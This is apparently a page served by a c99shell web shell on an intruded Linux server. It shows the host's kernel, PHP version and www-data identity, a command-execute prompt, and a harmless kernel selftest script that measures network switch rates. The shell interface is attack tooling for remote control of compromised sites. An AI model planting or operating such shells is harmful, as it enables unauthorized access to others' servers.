Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /usr/src/linux-oracle-6.8-headers-6.8.0-1028/tools/testing/selftests/drivers/net/mlxsw/ drwxr-xr-x |
Viewing file: Select action/file-type: # SPDX-License-Identifier: GPL-2.0 check_rate() { local rate=$1; shift local min=$1; shift local what=$1; shift if ((rate > min)); then return 0 fi echo "$what $(humanize $ir) < $(humanize $min)" > /dev/stderr return 1 } measure_rate() { local sw_in=$1; shift # Where the traffic ingresses the switch local host_in=$1; shift # Where it ingresses another host local counter=$1; shift # Counter to use for measurement local what=$1; shift local interval=10 local i local ret=0 # Dips in performance might cause momentary ingress rate to drop below # 1Gbps. That wouldn't saturate egress and MC would thus get through, # seemingly winning bandwidth on account of UC. Demand at least 2Gbps # average ingress rate to somewhat mitigate this. local min_ingress=2147483648 for i in {5..0}; do local t0=$(ethtool_stats_get $host_in $counter) local u0=$(ethtool_stats_get $sw_in $counter) sleep $interval local t1=$(ethtool_stats_get $host_in $counter) local u1=$(ethtool_stats_get $sw_in $counter) local ir=$(rate $u0 $u1 $interval) local er=$(rate $t0 $t1 $interval) if check_rate $ir $min_ingress "$what ingress rate"; then break fi # Fail the test if we can't get the throughput. if ((i == 0)); then ret=1 fi done echo $ir $er return $ret } |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0044 ]-- |